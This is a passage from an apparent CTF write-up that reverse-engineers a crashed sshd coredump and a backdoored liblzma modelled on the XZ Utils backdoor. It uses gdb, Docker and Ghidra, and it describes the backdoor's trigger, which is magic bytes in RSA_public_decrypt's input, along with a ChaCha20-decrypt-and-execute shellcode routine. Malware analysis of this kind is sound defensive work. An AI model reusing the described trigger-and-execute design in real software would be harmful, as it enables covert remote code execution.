font-style: inherit;">-</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> usr/lib64</span>
<span id="cb2-20"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-07-30 23:22 ./dev/</span>
<span id="cb2-21"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-07-30 23:24 ./run/</span>
<span id="cb2-22"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-09-09 23:21 ./etc/</span>
<span id="cb2-23"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">drwxr-xr-x</span> toomanybananas/primarygroup 0 2024-03-29 18:20 ./proc/</span></code></pre></div></div>
<p>The compressed filename <code>ssh_container.tar</code> and the <code>.dockerenv</code> file clearly suggested me that it was an exported docker container (<em>the best forensic preservation technique</em>). To better recreate the same environment, the compressed file can be imported again as a container, but I already discovered some interesting files:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb3-1">$ find . -type f -printf '%T+\t%M\t%s\t%p\n' | sort -nr  | head </span>
<span id="cb3-2">2024-09-11+22:55:59.0000000000  -rw-r--r--      2304    ./root/flag.txt</span>
<span id="cb3-3">2024-09-09+23:34:36.0000000000  -rw-------      2084864 ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676</span>
<span id="cb3-4">2024-09-09+23:34:33.0000000000  -rw-r--r--      203816  ./usr/lib/x86_64-linux-gnu/liblzma.so.5.4.1</span>
<span id="cb3-5">2024-09-09+23:21:59.0000000000  -rw-r--r--      9740    ./var/log/apt/history.log</span>
<span id="cb3-6">2024-09-09+23:21:59.0000000000  -rw-r--r--      274238  ./var/lib/dpkg/status</span>
<span id="cb3-7">2024-09-09+23:21:59.0000000000  -rw-r--r--      213777  ./etc/ssl/certs/ca-certificates.crt</span>
<span id="cb3-8">2024-09-09+23:21:59.0000000000  -rw-r--r--      101749  ./var/log/dpkg.log</span>
<span id="cb3-9">2024-09-09+23:21:59.0000000000  -rw-r-----      58803   ./var/log/apt/term.log</span>
<span id="cb3-10">2024-09-09+23:21:58.0000000000  -rw-r--r--      532     ./usr/share/mime/audio/x-mpegurl.xml</span>
<span id="cb3-11">2024-09-09+23:21:58.0000000000  -rw-r--r--      4       ./usr/share/mime/version</span></code></pre></div></div>
<p>Wait, isn’t that the flag?</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb4-1">$ cat ./root/flag.txt</span>
<span id="cb4-2">⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣧⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-3">⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣧⠀⠀⠀⢰⡿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-4">⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡟⡆⠀⠀⣿⡇⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-5">⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⣿⠀⢰⣿⡇⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-6">⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡄⢸⠀⢸⣿⡇⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-7">⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡇⢸⡄⠸⣿⡇⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-8">⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⢸⡅⠀⣿⢠⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-9">⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣥⣾⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-10">⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-11">⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⡿⡿⣿⣿⡿⡅⠀⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-12">⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠉⠀⠉⡙⢔⠛⣟⢋⠦⢵⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-13">⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣄⠀⠀⠁⣿⣯⡥⠃⠀⢳⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-14">⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡇⠀⠀⠀⠐⠠⠊⢀⠀⢸⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-15">⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⡿⠀⠀⠀⠀⠀⠈⠁⠀⠀⠘⣿⣄⠀⠀⠀⠀⠀</span>
<span id="cb4-16">⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣷⡀⠀⠀⠀</span>
<span id="cb4-17">⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣧⠀⠀</span>
<span id="cb4-18">⠀⠀⠀⡜⣭⠤⢍⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢛⢭⣗⠀</span>
<span id="cb4-19">⠀⠀⠀⠁⠈⠀⠀⣀⠝⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠠⠀⠀⠰⡅</span>
<span id="cb4-20">⠀⠀⠀⢀⠀⠀⡀⠡⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠔⠠⡕⠀</span>
<span id="cb4-21">⠀⠀⠀⠀⣿⣷⣶⠒⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠀⠀⠀⠀</span>
<span id="cb4-22">⠀⠀⠀⠀⠘⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠀⠀⠀⠀⠀</span>
<span id="cb4-23">⠀⠀⠀⠀⠀⠈⢿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠊⠉⢆⠀⠀⠀⠀</span>
<span id="cb4-24">⠀⢀⠤⠀⠀⢤⣤⣽⣿⣿⣦⣀⢀⡠⢤⡤⠄⠀⠒⠀⠁⠀⠀⠀⢘⠔⠀⠀⠀⠀</span>
<span id="cb4-25">⠀⠀⠀⡐⠈⠁⠈⠛⣛⠿⠟⠑⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-26">⠀⠀⠉⠑⠒⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀</span>
<span id="cb4-27">if only it were that easy......</span></code></pre></div></div>
<p>hehjhksdfbg</p>
</section>
</section>
<section id="xz-backdoor" class="level2">
<h2 class="anchored" data-anchor-id="xz-backdoor">XZ backdoor</h2>
<p>Among the other interesting recent files were a <strong>coredump</strong> of <code>sshd</code> (the same name as the challenge) and a library named <code>liblzma</code>. This immediately pointed me to the <a href="https://en.wikipedia.org/wiki/XZ_Utils_backdoor">XZ Utils backdoor</a> discovered earlier this year.</p>
<p>For context, the XZ backdoor was a supply chain attack where malicious code was introduced into the XZ Utils source. The details of this backdoor are fascinating and can be explored in depth through these resources:</p>
<ul>
<li><a href="https://www.openwall.com/lists/oss-security/2024/03/29/4">Openwall: Technical Details</a></li>
<li><a href="https://jfrog.com/blog/xz-backdoor-attack-cve-2024-3094-all-you-need-to-know/#cve-2024-3094-technical-analysis">JFrog: Technical Analysis of CVE-2024-3094</a></li>
<li><a href="https://bsky.app/profile/did:plc:x2nsupeeo52oznrmplwapppl/post/3kowjkx2njy2b">Filippo Valsorda incident breackdown on Bluesky</a></li>
<li><a href="https://github.com/amlweems/xzbot">XZ Backdoor Analysis and Exploit PoC</a></li>
</ul>
<p>The filename of the coredump, <code>sshd.core.93794.0.0.11.1725917676</code>, and its modification timestamp likely hold clues about when the crash occurred.</p>
<p>So I will have to learn how to analyze a coredump. Let’s go.</p>
</section>
<section id="coredump" class="level2">
<h2 class="anchored" data-anchor-id="coredump">Coredump</h2>
<p>Analyzing the provided coredump file required a crash course on handling core dumps in Linux. A few helpful resources I found:</p>
<ul>
<li><a href="https://reverseengineering.stackexchange.com/questions/19918/reverse-engineering-linux-core-dump">Reverse Engineering StackExchange</a></li>
<li><a href="https://stackoverflow.com/questions/8305866/how-do-i-analyze-a-programs-core-dump-file-with-gdb-when-it-has-command-line-pa">Stack Overflow: GDB Core Dump Analysis</a></li>
<li><code>man 5 core</code></li>
</ul>
<p>The most common tool for inspecting a coredump is <code>gdb</code>, the GNU debugger. Using gdb, I attempted to load the core file as follows:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb5-1">$ gdb ./usr/sbin/sshd ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676 </span>
<span id="cb5-2">...</span>
<span id="cb5-3">Reading symbols from ./usr/sbin/sshd...</span>
<span id="cb5-4">(No debugging symbols found in ./usr/sbin/sshd)</span>
<span id="cb5-5"></span>
<span id="cb5-6">warning: Can't open file / (deleted) during file-backed mapping note processing</span>
<span id="cb5-7">[New LWP 7378]</span>
<span id="cb5-8"></span>
<span id="cb5-9">warning: .dynamic section for "/lib/x86_64-linux-gnu/libcrypt.so.1" is not at the expected address (wrong library or version mismatch?)</span>
<span id="cb5-10">warning: .dynamic section for "/lib/x86_64-linux-gnu/libwrap.so.0" is not at the expected address (wrong library or version mismatch?)</span>
<span id="cb5-11">warning: .dynamic section for "/lib/x86_64-linux-gnu/libaudit.so.1" is not at the expected address (wrong library or version mismatch?)</span>
<span id="cb5-12">...</span></code></pre></div></div>
<p>But I got lots of errors:</p>
<ul>
<li>Missing debugging symbols -&gt; it’s ok, it’s normal that the binaries are stripped.</li>
<li>Warnings about deleted files</li>
<li>Warnings about mismatched library versions</li>
</ul>
<p>I tried different things to solve these issues, like identifying library versions:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb6-1">$ strings lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC | grep version </span>
<span id="cb6-2">GNU C Library (Debian GLIBC 2.36-9+deb12u8) stable release version 2.36.</span></code></pre></div></div>
<p>or configuring gdb with different options:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb7-1">set glibc 2.36</span>
<span id="cb7-2">set solib-absolute-prefix /</span>
<span id="cb7-3">set sysroot /</span>
<span id="cb7-4">set libthread-db-search-path /lib/x86_64-linux-gnu</span>
<span id="cb7-5">file ./usr/sbin/sshd</span>
<span id="cb7-6">core-file ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676</span></code></pre></div></div>
<p>but was a bit confusing and at that moment felt like <em>I Have No Idea What I’m Doing</em></p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/meme_no_idea.jpg" title="Meme I Have No Idea What I'm Doing" class="img-fluid"></p>
<p>To get rid of the errors, the most promising approach was to entirely replicate the original environment. Since the challenge provided a Docker container export, I could re-import it to recreate the system configuration, including the required library versions and paths.</p>
</section>
<section id="docker-container-environment" class="level2">
<h2 class="anchored" data-anchor-id="docker-container-environment">Docker container environment</h2>
<p>To accurately reproduce the environment of the crashed server, I used the <a href="https://docs.docker.com/reference/cli/docker/image/import/"><code>docker import</code> command</a> to create a Docker image from the provided container tar file.</p>
<p>First, I imported the container:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode bash code-with-copy"><code class="sourceCode bash"><span id="cb8-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">cat</span> ssh_container.tar <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">docker</span> import <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-</span> ssh_container</span></code></pre></div></div>
<p>This generated a new docker image, which I could then use to start an interactive shell:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb9-1">$ docker run -it --rm ssh_container bash</span>
<span id="cb9-2">root@5f044cfbead2:/# ls -l </span>
<span id="cb9-3">total 52</span>
<span id="cb9-4">lrwxrwxrwx   1 1125857 89939    7 Jul 22 00:00 bin -&gt; usr/bin</span>
<span id="cb9-5">drwxr-xr-x   2 1125857 89939 4096 Mar 29  2024 boot</span>
<span id="cb9-6">[...]</span></code></pre></div></div>
<p>Running gdb inside the container resolved most of the earlier issues with missing library sections:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb10-1">root@a8db2737971a:/# gdb ./usr/sbin/sshd ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676 </span>
<span id="cb10-2">[...]</span>
<span id="cb10-3">Reading symbols from ./usr/sbin/sshd...</span>
<span id="cb10-4">(No debugging symbols found in ./usr/sbin/sshd)</span>
<span id="cb10-5"></span>
<span id="cb10-6">warning: Can't open file / (deleted) during file-backed mapping note processing</span>
<span id="cb10-7">[New LWP 7378]</span>
<span id="cb10-8">[Thread debugging using libthread_db enabled]</span>
<span id="cb10-9">Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".</span>
<span id="cb10-10">Core was generated by `sshd: root [priv]      '.</span>
<span id="cb10-11">Program terminated with signal SIGSEGV, Segmentation fault.</span>
<span id="cb10-12">#0  0x0000000000000000 in ?? ()</span>
<span id="cb10-13">(gdb) </span></code></pre></div></div>
<p>As someone not deeply familiar with GDB, I needed all the additional support and help I could get. Plugins like GEF, PEDA, or pwndbg are very useful.</p>
<p>To make the environment reusable for further testing, I created a non-ephemeral Docker container without the <code>--rm</code> flag. Adding the <code>-e LANG=C.UTF-8</code> option also helped prevent shell encoding issues that occasionally caused crashes.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode zsh code-with-copy"><code class="sourceCode zsh"><span id="cb11-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">$</span> docker start ssh_container</span>
<span id="cb11-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">$</span> docker exec <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-it</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-e</span> LANG=C.UTF-8 ssh_container bash</span></code></pre></div></div>
<p>With the container running persistently, I could install plugins like pwndbg and extra tooling.</p>
</section>
<section id="version-identify" class="level2">
<h2 class="anchored" data-anchor-id="version-identify">Version identify</h2>
<p>I checked the versions of key components, including <code>sshd</code>, <code>OpenSSH</code>, <code>OpenSSL</code>, and <code>liblzma</code>. The original XZ backdoor affected versions 5.6.0 and 5.6.1 of liblzma, but the installed version, <a href="https://github.com/tukaani-project/xz/releases/tag/v5.6.2">5.6.2</a>, seems like was already patched:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb12" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb12-1">root@d61cb175615b:/# ssh -V</span>
<span id="cb12-2">OpenSSH_9.2p1 Debian-2+deb12u3, OpenSSL 3.0.14 4 Jun 2024</span>
<span id="cb12-3">root@d61cb175615b:/# sshd -V</span>
<span id="cb12-4">OpenSSH_9.2, OpenSSL 3.0.14 4 Jun 2024</span>
<span id="cb12-5">root@d61cb175615b:/var/log# xz -V</span>
<span id="cb12-6">xz (XZ Utils) 5.4.1</span>
<span id="cb12-7">liblzma 5.6.2</span></code></pre></div></div>
<p>This confirmed the library was no longer vulnerable to the backdoor described earlier. But the suspicious file identified at the very beginning was <code>/usr/lib/x86_64-linux-gnu/liblzma.so.5.4.1</code>, which confused me even more.</p>
<p>At this point, I was stuck and spent a significant amount of time researching the XZ backdoor itself, detailed in the previous section. While this helped me understand the backdoor mechanism better, it became clear that this challenge was inspired by the backdoor but deviated from its original form.</p>
<p>I spent too much time on this rabbit hole…</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/meme_interstellar.jpg" title="This Little Maneuver's Gonna Cost Us 51 Years" class="img-fluid"></p>
</section>
<section id="understand-the-crash" class="level2">
<h2 class="anchored" data-anchor-id="understand-the-crash">Understand the crash</h2>
<p>I analyzed the crashed binary (<code>sshd</code>) and its associated libraries using mainly gdb.</p>
<p>With the commands <code>info sources</code> or <code>objdump --syms /usr/sbin/sshd</code> I confirmed that the binaries were stripped of debugging symbols:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb13" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb13-1">root@d61cb175615b:/# objdump --syms /usr/sbin/sshd </span>
<span id="cb13-2"></span>
<span id="cb13-3">/usr/sbin/sshd:     file format elf64-x86-64</span>
<span id="cb13-4"></span>
<span id="cb13-5">SYMBOL TABLE:</span>
<span id="cb13-6">no symbols</span></code></pre></div></div>
<p>To understand the crash, I inspected the call stack using <code>bt</code> or <code>backtrace</code>, which provided the sequence of function calls leading to the crash.</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/gdb_backtrace.png" title="gdb backtrace" class="img-fluid"></p>
<p>The program crashed when attempting to call a null address (<code>0x0000000000000000</code>). The preceding call came from <code>liblzma.so.5</code> at address <code>0x00007f4a18c8f88f</code>, corresponding to <code>liblzma.so.5.4.1</code>. This reinforces the theory that the crash was inspired by the XZ backdoor.</p>
<section id="loading-liblzma-in-ghidra" class="level3">
<h3 class="anchored" data-anchor-id="loading-liblzma-in-ghidra">Loading liblzma in Ghidra</h3>
<p>To analyze the library further, I loaded it into Ghidra and synchronized its offset with gdb. To do this, I updated the <strong>Image Base</strong> in Ghidra’s Memory Map. The base address of the <code>.text</code> segment was obtained using the <code>info sharedlibrary</code> command in gdb:</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/gdb_sharedlibrary.png" title="gdb sharedlibrary" class="img-fluid"></p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/ghidra_memory_map.png" title="Ghidra Memory Map" class="img-fluid"></p>
<p>I calculated the base address using the difference between the <code>.text</code> segment address in memory and the file offset in Ghidra:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb14" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb14-1"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;&gt;</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">hex</span>(<span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00007f4a18c8ad40</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x00104d40</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x100000</span>)</span>
<span id="cb14-2"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">'0x7f4a18c86000'</span></span></code></pre></div></div>
<p>After aligning the base, I examined the memory address associated with the crash.</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/ghidra_crash.png" title="Ghidra Crash" class="img-fluid"></p>
<p>The crash occurred at the instruction <code>CALL RAX</code>. This instruction attempted to call a function dynamically resolved by <a href="https://linux.die.net/man/3/dlsym"><code>dlsym</code></a>. The intended function appeared to be <code>"RSA_public_decrypt"</code>, but the name may had an extra trailing space (<code>"RSA_public_decrypt "</code>), which caused the crash.</p>
</section>
<section id="conditions-for-the-crash" class="level3">
<h3 class="anchored" data-anchor-id="conditions-for-the-crash">Conditions for the Crash</h3>
<p>Two conditions must have been met for the crash to occur:</p>
<ol type="1">
<li><p>The user’s <em>uid</em> (<code>getuid()</code>) must be <code>0</code> (root).</p></li>
<li><p>A parameter (<code>param2</code>) must be set to <code>-0x3abf85b8</code> (byte sequence <code>\xc5\x40\x7a\x48</code>).</p></li>
</ol>
<p>The gdb output confirmed the undefined symbol error: <code>'undefined symbol: RSA_public_decrypt '</code>. This aligned with the hypothesis that the extra space led to the crash.</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/gdb_registers.png" title="gdb registers" class="img-fluid"></p>
</section>
</section>
<section id="rsa_public_decrypt" class="level2">
<h2 class="anchored" data-anchor-id="rsa_public_decrypt">RSA_public_decrypt</h2>
<p>The <code>RSA_public_decrypt()</code> function is defined as follows in the <a href="https://docs.openssl.org/master/man3/RSA_public_encrypt/">OpenSSL documentation</a>:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb15" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb15-1"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">int</span> RSA_public_decrypt<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">int</span> flen<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unsigned</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">char</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>from<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unsigned</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">char</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>to<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> RSA <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>rsa<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">int</span> padding<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span></code></pre></div></div>
<blockquote class="blockquote">
<p>RSA_public_decrypt() recovers the message digest from the <code>flen</code> bytes long signature at <code>from</code> using the signer’s public key <code>rsa</code>. <code>to</code> must point to a memory section large enough to hold the message digest (which is smaller than <code>RSA_size(rsa) - 11</code>). <code>padding</code> is the padding mode that was used to sign the data.</p>
</blockquote>
<section id="extracting-arguments" class="level3">
<h3 class="anchored" data-anchor-id="extracting-arguments">Extracting Arguments</h3>
<p>Using the coredump, I examined the arguments passed to the function, which are stored in specific registers before the call. The register-to-argument mapping is:</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/register_argument_order.jpg" title="Registers argument order" class="img-fluid"></p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>register</th>
<th>argument</th>
<th>name</th>
<th>value</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td><code>rdi</code></td>
<td>first</td>
<td><code>flen</code></td>
<td><code>0x200</code> (512)</td>
</tr>
<tr class="even">
<td><code>rsi</code></td>
<td>second</td>
<td><code>*from</code></td>
<td><code>0x55b46d51dde0</code></td>
</tr>
<tr class="odd">
<td><code>rdx</code></td>
<td>third</td>
<td><code>*to</code></td>
<td><code>0x55b46d58eb20</code></td>
</tr>
<tr class="even">
<td><code>rcx</code></td>
<td>fourth</td>
<td><code>*rsa</code></td>
<td><code>0x55b46d58e080</code></td>
</tr>
<tr class="odd">
<td><code>r8</code></td>
<td>fifth</td>
<td><code>padding</code></td>
<td><code>0x1</code></td>
</tr>
</tbody>
</table>
<p>Inspecting the second argument (<code>*from</code>) in gdb confirmed that the magic bytes (<code>\xc5\x40\x7a\x48</code>) were present:</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/gdb_magic_from.png" title="gdb magic bytes on *from" class="img-fluid"></p>
</section>
<section id="dumping-memory-arguments" class="level3">
<h3 class="anchored" data-anchor-id="dumping-memory-arguments">Dumping Memory Arguments</h3>
<p>In order to dump the contents of the arguments, I used the gdb <a href="https://sourceware.org/gdb/current/onlinedocs/gdb.html/Dump_002fRestore-Files.html">command <code>dump</code></a> to extract memory regions for the arguments into files:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb16" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb16-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">dump</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">[</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">format</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">]</span> memory filename start_addr end_addr</span>
<span id="cb16-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">dump</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">[</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">format</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">]</span> value filename expr</span></code></pre></div></div>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>The <code>flen</code> argument specifies the length of the parameters as 0x200 (512) bytes.</p>
</div>
</div>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb17" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb17-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">dump</span> binary memory dump_from.bin 0x55b46d51dde0 0x55b46d51dde0+0x200</span>
<span id="cb17-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">dump</span> binary memory dump_to.bin 0x55b46d58eb20 0x55b46d58eb20+0x200</span>
<span id="cb17-3"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">dump</span> binary memory dump_rsa.bin 0x55b46d58e080 0x55b46d58e080+0x200</span></code></pre></div></div>
<p><code>dump_to.bin</code> was empty because the function was not called yet. <code>dump_rsa.bin</code> and <code>dump_from.bin</code> contained some data, but I was unable to get anything useful from it.</p>
</section>
</section>
<section id="reversing-liblzma" class="level2">
<h2 class="anchored" data-anchor-id="reversing-liblzma">Reversing liblzma</h2>
<p>At this stage, I discovered that the <code>liblzma</code> library contained a backdoor. The backdoor is triggered when the dynamically resolved <code>RSA_public_decrypt</code> function is invoked with the <code>*from</code> argument starting with the magic bytes <code>0xc5407a48</code>.</p>
<p>After reversing for a while, I understood the basic functionality:</p>
<ol type="1">
<li>initialize chacha20 cipher with <strong>key</strong> (<code>*from + 0x04</code>) and <strong>iv</strong> (<code>*from + 0x24</code>)</li>
<li><code>mmap</code>: allocate a memory region of size <code>0x0f96</code> (3990 bytes)</li>
<li><code>memcpy</code>: copy the encrypted data into the newly allocated memory</li>
<li>chacha20 decrypt the allocated memory</li>
<li>execute shellcode (the decrypted data)</li>
<li>chacha20 init with the same key and iv</li>
<li>chacha20 re-encrypt the memory region again</li>
</ol>
<p>The Ghidra decompilation view helped me understand the dynamic behavior of RSA_public_decrypt. The sequence of calls matched the flow described above (I did the renaming).</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/ghidra_rsa_public_decrypt.png" title="Ghidra decompile dynamic RSA_public_decrypt" class="img-fluid"></p>
<p>The structure of the <code>*from</code> argument revealed its purpose:</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/dump_from.png" title="Contents of the _from_ argument" class="img-fluid"></p>
<p>Using Radare2, I verified the presence of the ChaCha20 routine by identifying the string <code>"expand 32-byte k"</code>.</p>
<p><img src="https://0xlibris.net/posts/flare11_5/img/radare2_expand_32-byte_k.png" title="radare2 analysis" class="img-fluid"></p>
<section id="extract-and-decrypt-the-shellcode" class="level3">
<h3 class="anchored" data-anchor-id="extract-and-decrypt-the-shellcode">Extract and decrypt the shellcode</h3>
<p>The backdoor contains an encrypted payload located in the <code>liblzma</code> library at address <code>0x7f4a18ca9960</code>, with a size of <code>0x0f96</code>. I dumped the encrypted shellcode to a binary file using gdb:</p>
